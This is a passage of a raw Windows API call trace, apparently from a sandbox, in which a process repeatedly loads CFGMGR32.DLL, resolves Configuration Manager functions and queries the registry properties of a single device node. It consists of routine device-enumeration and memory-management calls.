(lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0203.335] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0203.335] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0203.335] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0203.335] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0203.335] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0203.335] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0203.336] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0203.336] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0203.336] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0203.336] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0203.336] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0203.336] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0203.337] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0203.337] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0203.337] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0203.337] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0203.337] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0203.337] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0203.338] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0203.338] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0203.338] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0203.338] malloc (_Size=0x18) returned 0x20abc281ba0 [0203.338] CM_Get_Device_IDA (in: dnDevInst=0x28, Buffer=0x2dc22fd2e0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="SWD\\RADIO\\{3DB5895D-CC28-44B3-AD3D-6F01A782B8D2}") returned 0x0 [0203.338] malloc (_Size=0x48) returned 0x20abc27cb20 [0203.339] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd250 | out: lpSystemTimeAsFileTime=0x2dc22fd250*(dwLowDateTime=0x34f67149, dwHighDateTime=0x1d9eb0c)) [0203.339] SetEvent (hEvent=0x248) returned 1 [0203.342] malloc (_Size=0xd8) returned 0x20abc2867b0 [0203.342] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0203.342] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0203.343] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0203.343] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0203.343] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0203.343] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0203.343] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0203.344] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0203.344] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0203.344] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0203.345] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0203.345] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0203.345] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0203.345] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0203.345] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0203.346] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0203.346] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0203.346] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0203.346] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0203.346] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0203.346] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0203.347] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0203.347] malloc (_Size=0x18) returned 0x20abc281fa0 [0203.347] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x28, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x25 [0203.347] malloc (_Size=0x48) returned 0x20abc27cb20 [0203.347] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x34f8d7fc, dwHighDateTime=0x1d9eb0c)) [0203.348] SetEvent (hEvent=0x248) returned 1 [0203.350] malloc (_Size=0xd8) returned 0x20abc2867b0 [0203.350] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0203.350] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0203.350] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0203.350] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0203.351] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0203.351] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0203.351] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0203.351] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0203.351] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0203.351] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0203.351] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0203.351] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0203.352] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0203.352] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0203.352] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0203.352] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0203.352] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0203.352] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0203.352] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0203.353] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0203.353] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0203.353] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0203.353] malloc (_Size=0x18) returned 0x20abc281be0 [0203.353] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x28, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0203.353] malloc (_Size=0x38) returned 0x20abc280fd0 [0203.353] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x28, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x20abc280fd0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc280fd0, pulLength=0x2dc22fd3f8) returned 0x0 [0203.354] free (_Block=0x20abc280fd0) [0203.354] malloc (_Size=0x48) returned 0x20abc27cf80 [0203.354] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x34f8d7fc, dwHighDateTime=0x1d9eb0c)) [0203.354] SetEvent (hEvent=0x248) returned 1 [0203.357] malloc (_Size=0x18) returned 0x20abc281b00 [0203.357] SafeArrayPutElement (psa=0x20abba80750, rgIndices=0x2dc22fd4c8, pv=0x20abc473c78) returned 0x0 [0203.357] free (_Block=0x20abc281b00) [0203.357] malloc (_Size=0x18) returned 0x20abc281e00 [0203.357] SafeArrayPutElement (psa=0x20abba80750, rgIndices=0x2dc22fd4c8, pv=0x20abba795b8) returned 0x0 [0203.357] free (_Block=0x20abc281e00) [0203.357] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0bd70 [0203.357] SafeArrayGetDim (psa=0x20abba80750) returned 0x1 [0203.357] SafeArrayGetLBound (in: psa=0x20abba80750, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0203.357] SafeArrayGetUBound (in: psa=0x20abba80750, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0203.357] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba6add0 [0203.357] SafeArrayGetDim (psa=0x20abba80750) returned 0x1 [0203.357] SafeArrayGetUBound (in: psa=0x20abba80750, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0203.357] SafeArrayGetElemsize (psa=0x20abba80750) returned 0x8 [0203.358] SafeArrayGetElement (in: psa=0x20abba80750, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0203.358] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba934f0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0203.358] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba934f8, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0203.359] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba6add0) returned 1 [0203.360] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0bd70) returned 1 [0203.360] malloc (_Size=0xd8) returned 0x20abc2867b0 [0203.360] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0203.360] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0203.361] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0203.361] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0203.361] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0203.361] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0203.361] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0203.361] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0203.361] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0203.361] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0203.362] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0203.362] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0203.362] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0203.362] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0203.362] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0203.362] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0203.362] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0203.363] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0203.363] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0203.363] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0203.363] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0203.363] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0203.363] malloc (_Size=0x18) returned 0x20abc281fe0 [0203.363] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x28, ulProperty=0xc, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0203.366] malloc (_Size=0x48) returned 0x20abc27cb20 [0203.366] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x34fb3d53, dwHighDateTime=0x1d9eb0c)) [0203.366] SetEvent (hEvent=0x248) returned 1 [0203.628] malloc (_Size=0xd8) returned 0x20abc2867b0 [0203.628] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0203.629] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0203.629] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0203.629] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0203.629] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0203.629] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0203.630] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0203.630] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0203.630] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0203.630] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0203.630] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0203.630] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0203.631] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0203.631] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0203.631] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0203.631] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0203.632] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0203.632] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0203.632] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0203.632] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0203.632] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0203.632] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0203.633] malloc (_Size=0x18) returned 0x20abc281fc0 [0203.633] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x28, ulProperty=0x9, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0203.633] malloc (_Size=0x48) returned 0x20abc27cb20 [0203.633] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x35249202, dwHighDateTime=0x1d9eb0c)) [0203.633] SetEvent (hEvent=0x248) returned 1 [0203.638] malloc (_Size=0xd8) returned 0x20abc2867b0 [0203.638] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0203.638] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0203.638] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0203.638] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0203.639] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0203.639] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0203.639] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0203.639] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0203.639] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0203.639] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0203.640] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0203.640] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0203.640] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0203.640] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0203.640] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0203.640] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0203.641] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0203.641] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0203.641] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0203.641] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0203.641] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0203.641] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0203.642] malloc (_Size=0x18) returned 0x20abc281fa0 [0203.642] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x28, ulProperty=0x8, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0203.643] malloc (_Size=0x48) returned 0x20abc27cb20 [0203.643] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x35249202, dwHighDateTime=0x1d9eb0c)) [0203.643] SetEvent (hEvent=0x248) returned 1 [0203.650] malloc (_Size=0xd8) returned 0x20abc2867b0 [0203.650] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0203.650] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0203.650] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0203.651] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0203.651] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0203.651] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0203.651] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0203.651] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0203.651] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0203.652] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0203.652] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0203.652] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0203.652] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0203.652] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0203.652] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0203.653] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0203.653] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0203.653] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0203.653] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0203.653] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0203.653] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0203.654] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0203.654] malloc (_Size=0x18) returned 0x20abc281f60 [0203.654] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x28, ulProperty=0x5, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0203.654] malloc (_Size=0x48) returned 0x20abc27cf80 [0203.654] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x3526f361, dwHighDateTime=0x1d9eb0c)) [0203.655] SetEvent (hEvent=0x248) returned 1 [0203.660] malloc (_Size=0xd8) returned 0x20abc2867b0 [0203.660] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0203.661] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0203.661] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0203.661] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0203.661] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0203.661] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0203.661] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0203.662] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0203.662] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0203.662] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0203.662] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0203.663] GetProcAddress (hModule=0x7ffb1ced0000, 